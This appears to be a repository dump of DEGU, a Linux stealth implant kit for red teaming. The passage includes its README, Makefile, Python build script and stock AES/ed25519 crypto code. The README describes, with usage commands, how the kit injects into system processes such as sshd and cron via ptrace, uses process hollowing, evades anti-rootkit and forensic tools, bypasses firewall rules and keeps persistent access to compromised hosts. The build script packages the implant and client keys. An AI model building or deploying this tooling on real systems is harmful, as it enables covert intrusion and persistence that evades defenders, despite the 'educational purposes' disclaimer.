├── .gitignore ├── .gitmodules ├── CHANGELOG ├── LICENSE ├── Makefile ├── README.md ├── config ├── crypto ├── Makefile ├── aes.c ├── aes.h ├── ed25519.h ├── fe.c ├── fe.h ├── fixedint.h ├── ge.c ├── ge.h ├── key_exchange.c ├── precomp_data.h ├── pub.c ├── sc.c ├── sc.h ├── seed.c ├── sha512.c ├── sha512.h ├── sign.c └── verify.c ├── degu-client ├── README.md ├── dgu ├── helpers │ └── ssh │ │ ├── degussh.go │ │ ├── degussh.py │ │ ├── go.mod │ │ ├── go.sum │ │ ├── handlers.go │ │ └── vpn.go └── html │ └── degu.html ├── degu.png ├── degu.tmpl.py ├── degu ├── Makefile ├── degu.h ├── degu.txt ├── inject.c ├── key.c ├── knock.c ├── log.c ├── main.c ├── ops.c ├── user.c └── wrap.c ├── injector ├── include │ └── injector.h └── src │ └── linux │ ├── Makefile │ ├── elf.c │ ├── injector.c │ ├── injector_internal.h │ ├── ptrace.c │ ├── remote_call.c │ ├── shellcode.S │ └── util.c ├── keys.h ├── p2s └── pie2so.c └── ulexec ├── Makefile ├── exec.c ├── map_elf.c ├── map_elf.h ├── reflect.h ├── reflect_common.h └── stack_setup.c /.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | *.so 3 | *.a 4 | .vscode 5 | .gdb_history 6 | *.pyc 7 | __pycache__ 8 | TODO 9 | degu-client/helpers/ssh/keys/* 10 | degu-client/helpers/pty 11 | .env 12 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "injector"] 2 | path = injector 3 | url = https://github.com/kubo/injector 4 | [submodule "degu-client"] 5 | path = degu-client 6 | url = https://github.com/io-tl/degu-client 7 | -------------------------------------------------------------------------------- /CHANGELOG: -------------------------------------------------------------------------------- 1 | 0.0.2 degu merry christmas edition 2 | * added userland execution 3 | * added fd reuse for helpers for inetd like execution 4 | * added non root usage 5 | * added key recovery sym for client part 6 | * corrected multiples bugs 7 | 8 | 0.0.1 degu firstblood 9 | * initial release 10 | 11 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | #CC = clang 2 | CC = gcc 3 | CLFAGS = 4 | LDFLAGS = -Wl,--wrap=memcpy -Wl,--wrap=realpath -Wl,--wrap=__isoc99_sscanf -Wl,--wrap=vsscanf \ 5 | -Wl,--wrap=__isoc99_vsscanf -Wl,--wrap=stat -Wl,--wrap=__libc_start_main -Wl,--wrap=regexec \ 6 | -Wl,--wrap=getauxval -Wl,--wrap=fstat -Wl,--wrap=gnu_dev_makedev -Wl,--wrap=glob \ 7 | -Wl,--wrap=__isoc99_fscanf -Wl,--wrap=vfscanf 8 | 9 | export CFLAGS 10 | export LDFLAGS 11 | ifeq ($(DEBUG),yes) 12 | CFLAGS += -Wall -fPIC -fno-stack-protector -ggdb -g -DDEBUG 13 | LDFLAGS += -Wl,-E -pie 14 | else ifeq ($(ANALYZER),yes) 15 | CFLAGS += -Wall -fPIC -fno-stack-protector -ggdb -g -DDEBUG -fanalyzer -fsanitize=address 16 | LDFLAGS += -Wl,-E -pie -lasan 17 | else 18 | CFLAGS += -Wall -fPIC -fno-stack-protector -fvisibility=hidden -Wno-unused-value -Os -DPROD=1 19 | LDFLAGS += -g -Wl,-E -s -pie 20 | endif 21 | 22 | .PHONY: degu 23 | VERSION=0.0.3 24 | 25 | export CFLAGS 26 | export LDFLAGS 27 | 28 | all:logo crypto/degucrypto.a injector/src/linux/libinjector.a ulexec/ulexe.a degu link 29 | 30 | logo: 31 | @cat degu/degu.txt 32 | @echo DEGU ${VERSION} 33 | 34 | crypto/degucrypto.a: 35 | @$(MAKE) -C crypto 36 | 37 | injector/src/linux/libinjector.a: 38 | @echo Building injector 39 | @$(CC) -c injector/src/linux/shellcode.S -o injector/src/linux/shellcode.o 40 | @$(CC) $(CFLAGS) -c injector/src/linux/elf.c -I injector/include -o injector/src/linux/elf.o -Wno-maybe-uninitialized 41 | @$(CC) $(CFLAGS) -c injector/src/linux/injector.c -I injector/include -o injector/src/linux/injector.o 42 | @$(CC) $(CFLAGS) -c injector/src/linux/ptrace.c -I injector/include -o injector/src/linux/ptrace.o 43 | @$(CC) $(CFLAGS) -c injector/src/linux/remote_call.c -I injector/include -o injector/src/linux/remote_call.o 44 | @$(CC) $(CFLAGS) -c injector/src/linux/util.c -I injector/include -o injector/src/linux/util.o 45 | @ar rcs injector/src/linux/libinjector.a injector/src/linux/elf.o injector/src/linux/injector.o \ 46 | injector/src/linux/ptrace.o injector/src/linux/remote_call.o injector/src/linux/util.o injector/src/linux/shellcode.o 47 | 48 | 49 | ulexec/ulexe.a: 50 | @$(MAKE) -C ulexec 51 | 52 | degu: 53 | @$(MAKE) -C degu 54 | 55 | link: 56 | @$(CC) p2s/pie2so.c -o pie2so 57 | @./pie2so degu.pie && mv degu.pie.so degu.so 58 | @rm -f pie2so degu.pie 59 | @strip degu.so 60 | @ls -al degu.so 61 | 62 | clean: 63 | @$(RM) -f injector/src/linux/libinjector.a injector/src/linux/elf.o injector/src/linux/injector.o \ 64 | injector/src/linux/ptrace.o injector/src/linux/remote_call.o injector/src/linux/util.o \ 65 | injector/src/linux/shellcode.o 66 | @make -C crypto clean 67 | @make -C ulexec clean 68 | @make -C degu clean 69 | @$(RM) -f degu.so 70 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DEGU: Advanced Stealth Userland Kit 2 | **EDUCATIONAL PURPOSES ONLY. USE EXCLUSIVELY ON YOUR OWN SYSTEMS.** 3 | 4 |

5 | 6 |

7 | 8 | * [Overview](#overview) 9 | * [Requirements](#requirements) 10 | * [Quick Start](#quick-start) 11 | * [Technical Architecture](#technical-architecture) 12 | * [Usage](#usage) 13 | * [Building](#building) 14 | * [Troubleshooting](#troubleshooting) 15 | * [Debugging](#debugging) 16 | * [Container Considerations](#container-considerations) 17 | * [Client API](#client-api) 18 | 19 | 20 | ## Overview 21 | 22 | DEGU is a sophisticated stealth userland kit designed for covert operation for red teaming without requiring sys_clone/sys_execve calls as root. Developed primarily for red team operations, it enables persistent access to compromised assets while evading common detection mechanisms. 23 | 24 | ### Key Features 25 | 26 | - **Evasion Capabilities**: Bypasses detection by conventional anti-rootkit tools and forensics frameworks including Volatility 27 | - **Firewall Circumvention**: As root, bypasses netfilter rules using raw ethernet eBPF rules 28 | - **Process Parasiting**: As root, it can inject into userland process or use process hollowing as user 29 | - **Static Executable Launching**: Uses ulexec to launch static executables ( 🐁 ♥ Rust & Go ) inside parasited processes 30 | - **Python API**: Provides seamless automation capabilities 31 | 32 | ## Requirements 33 | 34 | - OpenSSH (for ssh-keygen binary) 35 | - Python 3 36 | - Golang 37 | - GCC toolchain 38 | 39 | ## Quick Start 40 | 41 | ```bash 42 | git clone https://github.com/io-tl/degu-lib 43 | cd degu-lib 44 | ./config -r -s build 45 | ``` 46 | 47 | ## Technical Architecture 48 | 49 | DEGU operates as an "autorelocatable" executable library that uses signals to execute within parasitized processes without requiring fork, thread creation, or function hooking. 50 | 51 | Security features include: 52 | - Elliptic curve cryptography (ed25519) for message signing and key exchange 53 | - AES session encryption 54 | - Process hollowing for stealth execution 55 | - UDP/Raw ethernet packet communication 56 | 57 | ## Usage 58 | 59 | ### Root Mode 60 | 61 | As root, DEGU can inject into existing processes using ptrace and wait for activation commands. 62 | 63 | ```bash 64 | # Basic usage (auto-selects from candidate process list) 65 | ./degu.prod.so 66 | 67 | # Target a specific process 68 | ./degu.prod.so 69 | 70 | # Alternative: Use LD_PRELOAD (spawns a visible process) 71 | LD_PRELOAD=/root/degu.dbg.so /bin/ls 72 | ``` 73 | 74 | You can edit the list of candidate processes in `degu/main.c`: 75 | 76 | ```c 77 | #define CANDSIZE 11 78 | char *candidate[CANDSIZE]= { 79 | "udev", 80 | "cron", 81 | "udisksd", 82 | "syslog", 83 | "containerd", 84 | "sshd", 85 | "getty", 86 | "agetty", 87 | "dhcp", 88 | "master", 89 | NULL 90 | }; 91 | ``` 92 | 93 | ### User Mode 94 | 95 | As a regular user, DEGU can listen on a non-privileged UDP port: 96 | 97 | ```bash 98 | # Parasite an executable and launch 99 | ./degu.dbg.so 100 | 101 | # Example 102 | ./degu.dbg.so 31337 /bin/ls 103 | 104 | # Standalone without parasiting 105 | ./degu.dbg.so 106 | 107 | # Using LD_PRELOAD 108 | PORT=31337 LD_PRELOAD=/path/to/degu.dbg.so /bin/ls 109 | ``` 110 | 111 | ## Building 112 | 113 | The `./config` script generates necessary keys and builds the DEGU components: 114 | 115 | ```bash 116 | ./config -r -s build 117 | ``` 118 | 119 | Options: 120 | - `-d, --dest DEST`: Output directory (default: /tmp/degu) 121 | - `-r, --rand`: Generate new keys.h (required for first build) 122 | - `-s, --ssh`: Generate new SSH keys (required for first build) 123 | - `-f, --force`: Overwrite existing libraries 124 | - `-v, --verbose`: Enable verbose output 125 | 126 | ## Troubleshooting 127 | 128 | DEGU may output error codes with specific emoticons: 129 | 130 | | Symbol | Description | Error Code | 131 | |--------|-------------|------------| 132 | | `3<` | Attach failed - couldn't attach via ptrace | -101 | 133 | | `:(` | Injection failed - couldn't write to process memory | -102 | 134 | | `:/` | Seccomp error - target has too restrictive seccomp policy | -103 | 135 | | `:\` | Deleted libs error - dlopen invocation would fail | -104 | 136 | | `?` | Parasiting error - not an ELF or insufficient memory | -105 | 137 | 138 | ## Debugging 139 | 140 | The `degu.dbg.so` library outputs debug messages to `/tmp/debug`. For operational security, use `degu.prod.so` in production environments. 141 | 142 | ## Container Considerations 143 | 144 | Be cautious when using in containerized environments, as ptrace syscalls may be restricted: 145 | 146 | ``` 147 | [269197.431639] ptrace attach of "sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups"[986278] was attempted by "./degu.dbg.so"[986385] 148 | ``` 149 | 150 | In such cases, consider using the LD_PRELOAD method instead. 151 | 152 | ## Client API 153 | 154 | For documentation on client usage and API functionality, see the separate client README.md. 155 | 156 | --- 157 | 158 | *DEGU is designed for authorized security testing only. Unauthorized use against systems you don't own is illegal and unethical.* 159 | -------------------------------------------------------------------------------- /config: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import sys 3 | import os 4 | import re 5 | import argparse 6 | import subprocess 7 | import logging 8 | import binascii 9 | import random 10 | import string 11 | import time 12 | import ctypes 13 | import zlib 14 | import base64 15 | import shutil 16 | 17 | DEFAULT_OUTPUT = "/tmp/degu" 18 | PRODLIB = "degu.prod.so" 19 | DEBUGLIB = "degu.dbg.so" 20 | OUTLIB = "degu.so" 21 | 22 | LEVEL = logging.INFO 23 | 24 | 25 | class LogFmt(logging.Formatter): 26 | """Class for log formatting.""" 27 | 28 | def format_time(self) -> str: 29 | """Format time.""" 30 | return time.strftime("%H:%M.%S") 31 | 32 | def _l(self, level: str) -> tuple: 33 | clevel = { 34 | "DEBUG": ("\033[0;36m", "\033[1;36m"), 35 | "INFO": ("\033[0;35m", "\033[1;32m"), 36 | "WARNING": ("\033[0;31m", "\033[1;31m"), 37 | "CRITICAL": ("\033[0;31m", "\033[1;31m"), 38 | "ERROR": ("\033[0;31m", "\033[1;31m"), 39 | } 40 | return clevel[level] 41 | 42 | def format(self, record: logging.LogRecord) -> str: 43 | header = ( 44 | f"{self._l(record.levelname)[0]}[{self._l(record.levelname)[1]}" 45 | f"{self.format_time()}{self._l(record.levelname)[0]}]" 46 | f"%8s" % record.levelname + self._l(record.levelname)[1] + 47 | " [%-5s]: " % record.name + "\033[0m" 48 | ) 49 | 50 | return header + record.msg 51 | 52 | 53 | log = logging.getLogger('config') 54 | log.setLevel(LEVEL) 55 | ch = logging.StreamHandler() 56 | ch.setFormatter(LogFmt()) 57 | log.addHandler(ch) 58 | 59 | 60 | def ex(build: list) -> subprocess.CompletedProcess: 61 | try: 62 | ret = subprocess.run( 63 | build, 64 | shell=True, 65 | capture_output=True, 66 | check=True 67 | ) 68 | log.debug(ret.stdout.decode()) 69 | return ret 70 | except subprocess.CalledProcessError as e: 71 | log.error(f"error command : {' '.join(build)}") 72 | log.error("\n" + e.stderr.decode().strip()) 73 | sys.exit(-1) 74 | 75 | def b64degu(lib: str) -> str: 76 | with open(lib, "rb") as f: 77 | lib = f.read() 78 | clib = zlib.compress(lib) 79 | blib = base64.b64encode(clib) 80 | return blib.decode() 81 | 82 | 83 | def check_files(args: argparse.Namespace) -> None: 84 | dest = args.dest if args.dest else DEFAULT_OUTPUT 85 | if not os.path.exists(dest): 86 | os.mkdir(dest, 0o700) 87 | os.mkdir(dest+"/client", 0o700) 88 | 89 | erase = any(os.path.exists(f"{dest}/{file}") for file in [PRODLIB, DEBUGLIB]) 90 | if not args.force and erase: 91 | r = input("Remove libs? (y/n) ") 92 | if r.lower() != "y": 93 | sys.exit() 94 | 95 | def clean_degu() -> None: 96 | log.debug("Cleaning degu") 97 | ex(["make clean"]) 98 | 99 | def build_debug(dest) -> None: 100 | log.debug("Building debug degu") 101 | ex(["DEBUG=yes make"]) 102 | shutil.copyfile(OUTLIB, f"{dest}/{DEBUGLIB}") 103 | os.chmod(f"{dest}/{DEBUGLIB}", 0o755) 104 | log.info(f"build {dest}/{DEBUGLIB}") 105 | 106 | 107 | def build_prod(dest) -> None: 108 | log.debug("Building prod degu") 109 | ex(["make"]) 110 | shutil.copyfile(OUTLIB, f"{dest}/{PRODLIB}") 111 | os.chmod(f"{dest}/{PRODLIB}", 0o755) 112 | log.info(f"build {dest}/{PRODLIB}") 113 | 114 | 115 | def build_ssh(dest) -> None: 116 | log.debug("Building ssh helper") 117 | wd = os.getcwd() 118 | os.chdir("degu-client/helpers/ssh") 119 | ex([f'CGO_ENABLED=0 go build -ldflags "-w" -o {dest}/client/degussh']) 120 | os.chdir(wd) 121 | log.info(f"build {dest}/client/degussh") 122 | 123 | 124 | def getpriv() -> str: 125 | with open("keys.h") as f: 126 | keys = f.read() 127 | match = re.search(r'PRIVATE_KEY="([a-f0-9]+)"', keys) 128 | return match.group(1) if match else '' 129 | 130 | def ssh_keygen(regen = False) -> None: 131 | sshkeys_path="degu-client/helpers/ssh/keys" 132 | 133 | if regen: 134 | ex([f"rm -rf {sshkeys_path}/keydegussh {sshkeys_path}/keydegussh.pub {sshkeys_path}/hostkey {sshkeys_path}/hostkey.pub "]) 135 | 136 | if not os.path.exists(f"{sshkeys_path}"): 137 | os.mkdir(f"{sshkeys_path}", 0o700) 138 | 139 | if not os.path.exists(f"{sshkeys_path}/keydegussh"): 140 | log.debug("generating ssh key") 141 | ex([f'ssh-keygen -t ed25519 -f {sshkeys_path}/keydegussh -N "" -C ""']) 142 | 143 | if not os.path.exists(f"{sshkeys_path}/hostkey"): 144 | log.debug("generating ssh hostkey") 145 | ex([f'ssh-keygen -t ed25519 -f {sshkeys_path}/hostkey -N "" -C ""']) 146 | 147 | 148 | def keygen(dest: str) -> None: 149 | log.info("Generating new keys.h") 150 | build_prod(dest) 151 | file_path = '/tmp/.' + ''.join(random.choices(string.ascii_uppercase + string.digits, k=6)) 152 | lib = ctypes.CDLL(f"./{OUTLIB}") 153 | lib.keygen(file_path.encode()) 154 | 155 | with open(file_path, "rb") as f: 156 | toexec = f.read() 157 | exec(toexec, globals()) 158 | os.unlink(file_path) 159 | iv_hex = ["0x%02x" % c for c in binascii.unhexlify(iv)] 160 | knock_hex = ["0x%02x" % c for c in binascii.unhexlify(knock)] 161 | pub_hex = ["0x%02x" % c for c in binascii.unhexlify(pub)] 162 | 163 | new_keys_content = ( 164 | f"#define IV {{ {','.join(iv_hex)} }}\n" 165 | f"#define KNOCK_KEY {{ {','.join(knock_hex)} }}\n" 166 | f"#define MASTER_PUBKEY {{ {','.join(pub_hex)} }}\n\n" 167 | f'// PRIVATE_KEY="{priv}"\n' 168 | ) 169 | 170 | if os.path.exists("keys.h"): 171 | overwrite = input("Are you sure you want to overwrite existing keys.h? (y/n) ") 172 | if overwrite.lower() != "y": 173 | sys.exit() 174 | 175 | log.debug("Writing new keys.h") 176 | 177 | with open("keys.h", "w") as f: 178 | f.write(new_keys_content) 179 | 180 | print(new_keys_content) 181 | 182 | 183 | def make(args: argparse.Namespace, parser: argparse.ArgumentParser) -> None: 184 | dest = args.dest if args.dest else DEFAULT_OUTPUT 185 | check_files(args) 186 | 187 | if args.rand: 188 | keygen(dest) 189 | if args.ssh: 190 | ssh_keygen(regen=True) 191 | 192 | clean_degu() 193 | 194 | if args.build == "build": 195 | build_debug(dest) 196 | clean_degu() 197 | build_prod(dest) 198 | 199 | build_ssh(dest) 200 | 201 | b64lib = b64degu(OUTLIB) 202 | clean_degu() 203 | 204 | with open("degu.tmpl.py") as f: 205 | degupy_template = f.read() 206 | degupy_content = degupy_template.replace("@@BASE64@@", b64lib).replace("@@PRIV@@", getpriv()) 207 | with open(f"{dest}/client/degu.py", "w") as f: 208 | f.write(degupy_content) 209 | log.info(f"generating {dest}/client/degu.py") 210 | 211 | shutil.copyfile("keys.h",f"{dest}/client/keys.h") 212 | log.info(f"wrote {dest}/client/keys.h") 213 | 214 | shutil.copyfile("degu-client/helpers/ssh/degussh.py",f"{dest}/client/degussh.py") 215 | log.info(f"wrote {dest}/client/degussh.py") 216 | os.chmod(f"{dest}/client/degussh.py", 0o755) 217 | 218 | shutil.copyfile("degu-client/helpers/ssh/keys/keydegussh",f"{dest}/client/keydegussh") 219 | os.chmod(f"{dest}/client/keydegussh", 0o600) 220 | 221 | log.info(f"wrote {dest}/client/keydegussh") 222 | 223 | shutil.copyfile("degu-client/dgu",f"{dest}/client/dgu") 224 | log.info(f"wrote {dest}/client/dgu") 225 | 226 | else: 227 | parser.print_help() 228 | 229 | def command() -> None: 230 | parser = argparse.ArgumentParser(description="DEGU build tool") 231 | parser.add_argument('build', help="Build degu libs and produce python module") 232 | parser.add_argument('-d', '--dest', type=str, help=f"Output directory (default {DEFAULT_OUTPUT})") 233 | parser.add_argument('-r', '--rand', action='store_true', help="Generate new keys.h") 234 | parser.add_argument('-s', '--ssh', action='store_true', help="Generate new ssh keys") 235 | parser.add_argument('-f', '--force', action='store_true', help="Overwrite libraries") 236 | parser.add_argument('-v', '--verbose', action='store_true', help=f"Verbose output") 237 | 238 | args = parser.parse_args() 239 | 240 | if args.verbose: 241 | log.setLevel(logging.DEBUG) 242 | 243 | make(args, parser) 244 | 245 | 246 | if __name__ == "__main__": 247 | command() 248 | -------------------------------------------------------------------------------- /crypto/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS += -Wall -fPIC -I. 2 | 3 | CRYPTO=$(wildcard *.c) 4 | CRYPTO_OBJS=$(CRYPTO:.c=.o) 5 | 6 | all: degucrypto.a 7 | 8 | degucrypto.a: $(CRYPTO_OBJS) 9 | @$(AR) rcs degucrypto.a $(CRYPTO_OBJS) 10 | 11 | %.o : %.c 12 | @echo CC $< 13 | @$(CC) $(CFLAGS) -c $< 14 | 15 | clean: 16 | @$(RM) *.o 17 | @$(RM) degucrypto.a $(INJECTOR_OBJS) 18 | 19 | -------------------------------------------------------------------------------- /crypto/aes.h: -------------------------------------------------------------------------------- 1 | #ifndef _AES_H_ 2 | #define _AES_H_ 3 | 4 | #include 5 | 6 | // #define the macros below to 1/0 to enable/disable the mode of operation. 7 | // 8 | // CBC enables AES encryption in CBC-mode of operation. 9 | // CTR enables encryption in counter-mode. 10 | // ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously. 11 | 12 | // The #ifndef-guard allows it to be configured before #include'ing or at compile time. 13 | #ifndef CBC 14 | #define CBC 0 15 | #endif 16 | 17 | #ifndef ECB 18 | #define ECB 0 19 | #endif 20 | 21 | #ifndef CTR 22 | #define CTR 1 23 | #endif 24 | 25 | 26 | //#define AES128 1 27 | //#define AES192 1 28 | #define AES256 1 29 | 30 | #define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only 31 | 32 | #if defined(AES256) && (AES256 == 1) 33 | #define AES_KEYLEN 32 34 | #define AES_keyExpSize 240 35 | #elif defined(AES192) && (AES192 == 1) 36 | #define AES_KEYLEN 24 37 | #define AES_keyExpSize 208 38 | #else 39 | #define AES_KEYLEN 16 // Key length in bytes 40 | #define AES_keyExpSize 176 41 | #endif 42 | 43 | struct AES_ctx 44 | { 45 | uint8_t RoundKey[AES_keyExpSize]; 46 | #if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) 47 | uint8_t Iv[AES_BLOCKLEN]; 48 | #endif 49 | }; 50 | 51 | void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key); 52 | #if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) 53 | void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv); 54 | void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv); 55 | #endif 56 | 57 | #if defined(ECB) && (ECB == 1) 58 | // buffer size is exactly AES_BLOCKLEN bytes; 59 | // you need only AES_init_ctx as IV is not used in ECB 60 | // NB: ECB is considered insecure for most uses 61 | void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf); 62 | void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf); 63 | 64 | #endif // #if defined(ECB) && (ECB == !) 65 | 66 | 67 | #if defined(CBC) && (CBC == 1) 68 | // buffer size MUST be mutile of AES_BLOCKLEN; 69 | // Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme 70 | // NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv() 71 | // no IV should ever be reused with the same key 72 | void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, uint32_t length); 73 | void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, uint32_t length); 74 | 75 | #endif // #if defined(CBC) && (CBC == 1) 76 | 77 | 78 | #if defined(CTR) && (CTR == 1) 79 | 80 | // Same function for encrypting as for decrypting. 81 | // IV is incremented for every block, and used after encryption as XOR-compliment for output 82 | // Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme 83 | // NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv() 84 | // no IV should ever be reused with the same key 85 | void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, uint32_t length); 86 | 87 | #endif // #if defined(CTR) && (CTR == 1) 88 | 89 | 90 | #endif // _AES_H_ 91 | -------------------------------------------------------------------------------- /crypto/ed25519.h: -------------------------------------------------------------------------------- 1 | #ifndef ED25519_H 2 | #define ED25519_H 3 | 4 | #include 5 | 6 | #if defined(_WIN32) 7 | #if defined(ED25519_BUILD_DLL) 8 | #define ED25519_DECLSPEC __declspec(dllexport) 9 | #elif defined(ED25519_DLL) 10 | #define ED25519_DECLSPEC __declspec(dllimport) 11 | #else 12 | #define ED25519_DECLSPEC 13 | #endif 14 | #else 15 | #define ED25519_DECLSPEC 16 | #endif 17 | 18 | 19 | #ifdef __cplusplus 20 | extern "C" { 21 | #endif 22 | 23 | #ifndef ED25519_NO_SEED 24 | int ED25519_DECLSPEC ed25519_create_seed(unsigned char *seed); 25 | #endif 26 | 27 | void ED25519_DECLSPEC ed25519_create_keypair(unsigned char *public_key, unsigned char *private_key, const unsigned char *seed); 28 | void ED25519_DECLSPEC ed25519_sign(unsigned char *signature, const unsigned char *message, size_t message_len, const unsigned char *public_key, const unsigned char *private_key); 29 | int ED25519_DECLSPEC ed25519_verify(const unsigned char *signature, const unsigned char *message, size_t message_len, const unsigned char *public_key); 30 | void ED25519_DECLSPEC ed25519_add_scalar(unsigned char *public_key, unsigned char *private_key, const unsigned char *scalar); 31 | void ED25519_DECLSPEC ed25519_key_exchange(unsigned char *shared_secret, const unsigned char *public_key, const unsigned char *private_key); 32 | 33 | 34 | #ifdef __cplusplus 35 | } 36 | #endif 37 | 38 | #endif 39 | -------------------------------------------------------------------------------- /crypto/fe.h: -------------------------------------------------------------------------------- 1 | #ifndef FE_H 2 | #define FE_H 3 | 4 | #include "fixedint.h" 5 | 6 | 7 | /* 8 | fe means field element. 9 | Here the field is \Z/(2^255-19). 10 | An element t, entries t[0]...t[9], represents the integer 11 | t[0]+2^26 t[1]+2^51 t[2]+2^77 t[3]+2^102 t[4]+...+2^230 t[9]. 12 | Bounds on each t[i] vary depending on context. 13 | */ 14 | 15 | 16 | typedef int32_t fe[10]; 17 | 18 | 19 | void fe_0(fe h); 20 | void fe_1(fe h); 21 | 22 | void fe_frombytes(fe h, const unsigned char *s); 23 | void fe_tobytes(unsigned char *s, const fe h); 24 | 25 | void fe_copy(fe h, const fe f); 26 | int fe_isnegative(const fe f); 27 | int fe_isnonzero(const fe f); 28 | void fe_cmov(fe f, const fe g, unsigned int b); 29 | void fe_cswap(fe f, fe g, unsigned int b); 30 | 31 | void fe_neg(fe h, const fe f); 32 | void fe_add(fe h, const fe f, const fe g); 33 | void fe_invert(fe out, const fe z); 34 | void fe_sq(fe h, const fe f); 35 | void fe_sq2(fe h, const fe f); 36 | void fe_mul(fe h, const fe f, const fe g); 37 | void fe_mul121666(fe h, fe f); 38 | void fe_pow22523(fe out, const fe z); 39 | void fe_sub(fe h, const fe f, const fe g); 40 | 41 | #endif 42 | -------------------------------------------------------------------------------- /crypto/fixedint.h: -------------------------------------------------------------------------------- 1 | /* 2 | Portable header to provide the 32 and 64 bits type. 3 | 4 | Not a compatible replacement for , do not blindly use it as such. 5 | */ 6 | 7 | #if ((defined(__STDC__) && __STDC__ && __STDC_VERSION__ >= 199901L) || (defined(__WATCOMC__) && (defined(_STDINT_H_INCLUDED) || __WATCOMC__ >= 1250)) || (defined(__GNUC__) && (defined(_STDINT_H) || defined(_STDINT_H_) || defined(__UINT_FAST64_TYPE__)) )) && !defined(FIXEDINT_H_INCLUDED) 8 | #include 9 | #define FIXEDINT_H_INCLUDED 10 | 11 | #if defined(__WATCOMC__) && __WATCOMC__ >= 1250 && !defined(UINT64_C) 12 | #include 13 | #define UINT64_C(x) (x + (UINT64_MAX - UINT64_MAX)) 14 | #endif 15 | #endif 16 | 17 | 18 | #ifndef FIXEDINT_H_INCLUDED 19 | #define FIXEDINT_H_INCLUDED 20 | 21 | #include 22 | 23 | /* (u)int32_t */ 24 | #ifndef uint32_t 25 | #if (ULONG_MAX == 0xffffffffUL) 26 | typedef unsigned long uint32_t; 27 | #elif (UINT_MAX == 0xffffffffUL) 28 | typedef unsigned int uint32_t; 29 | #elif (USHRT_MAX == 0xffffffffUL) 30 | typedef unsigned short uint32_t; 31 | #endif 32 | #endif 33 | 34 | 35 | #ifndef int32_t 36 | #if (LONG_MAX == 0x7fffffffL) 37 | typedef signed long int32_t; 38 | #elif (INT_MAX == 0x7fffffffL) 39 | typedef signed int int32_t; 40 | #elif (SHRT_MAX == 0x7fffffffL) 41 | typedef signed short int32_t; 42 | #endif 43 | #endif 44 | 45 | 46 | /* (u)int64_t */ 47 | #if (defined(__STDC__) && defined(__STDC_VERSION__) && __STDC__ && __STDC_VERSION__ >= 199901L) 48 | typedef long long int64_t; 49 | typedef unsigned long long uint64_t; 50 | 51 | #define UINT64_C(v) v ##ULL 52 | #define INT64_C(v) v ##LL 53 | #elif defined(__GNUC__) 54 | __extension__ typedef long long int64_t; 55 | __extension__ typedef unsigned long long uint64_t; 56 | 57 | #define UINT64_C(v) v ##ULL 58 | #define INT64_C(v) v ##LL 59 | #elif defined(__MWERKS__) || defined(__SUNPRO_C) || defined(__SUNPRO_CC) || defined(__APPLE_CC__) || defined(_LONG_LONG) || defined(_CRAYC) 60 | typedef long long int64_t; 61 | typedef unsigned long long uint64_t; 62 | 63 | #define UINT64_C(v) v ##ULL 64 | #define INT64_C(v) v ##LL 65 | #elif (defined(__WATCOMC__) && defined(__WATCOM_INT64__)) || (defined(_MSC_VER) && _INTEGRAL_MAX_BITS >= 64) || (defined(__BORLANDC__) && __BORLANDC__ > 0x460) || defined(__alpha) || defined(__DECC) 66 | typedef __int64 int64_t; 67 | typedef unsigned __int64 uint64_t; 68 | 69 | #define UINT64_C(v) v ##UI64 70 | #define INT64_C(v) v ##I64 71 | #endif 72 | #endif 73 | -------------------------------------------------------------------------------- /crypto/ge.c: -------------------------------------------------------------------------------- 1 | #include "ge.h" 2 | #include "precomp_data.h" 3 | 4 | 5 | /* 6 | r = p + q 7 | */ 8 | 9 | void ge_add(ge_p1p1 *r, const ge_p3 *p, const ge_cached *q) { 10 | fe t0; 11 | fe_add(r->X, p->Y, p->X); 12 | fe_sub(r->Y, p->Y, p->X); 13 | fe_mul(r->Z, r->X, q->YplusX); 14 | fe_mul(r->Y, r->Y, q->YminusX); 15 | fe_mul(r->T, q->T2d, p->T); 16 | fe_mul(r->X, p->Z, q->Z); 17 | fe_add(t0, r->X, r->X); 18 | fe_sub(r->X, r->Z, r->Y); 19 | fe_add(r->Y, r->Z, r->Y); 20 | fe_add(r->Z, t0, r->T); 21 | fe_sub(r->T, t0, r->T); 22 | } 23 | 24 | 25 | static void slide(signed char *r, const unsigned char *a) { 26 | int i; 27 | int b; 28 | int k; 29 | 30 | for (i = 0; i < 256; ++i) { 31 | r[i] = 1 & (a[i >> 3] >> (i & 7)); 32 | } 33 | 34 | for (i = 0; i < 256; ++i) 35 | if (r[i]) { 36 | for (b = 1; b <= 6 && i + b < 256; ++b) { 37 | if (r[i + b]) { 38 | if (r[i] + (r[i + b] << b) <= 15) { 39 | r[i] += r[i + b] << b; 40 | r[i + b] = 0; 41 | } else if (r[i] - (r[i + b] << b) >= -15) { 42 | r[i] -= r[i + b] << b; 43 | 44 | for (k = i + b; k < 256; ++k) { 45 | if (!r[k]) { 46 | r[k] = 1; 47 | break; 48 | } 49 | 50 | r[k] = 0; 51 | } 52 | } else { 53 | break; 54 | } 55 | } 56 | } 57 | } 58 | } 59 | 60 | /* 61 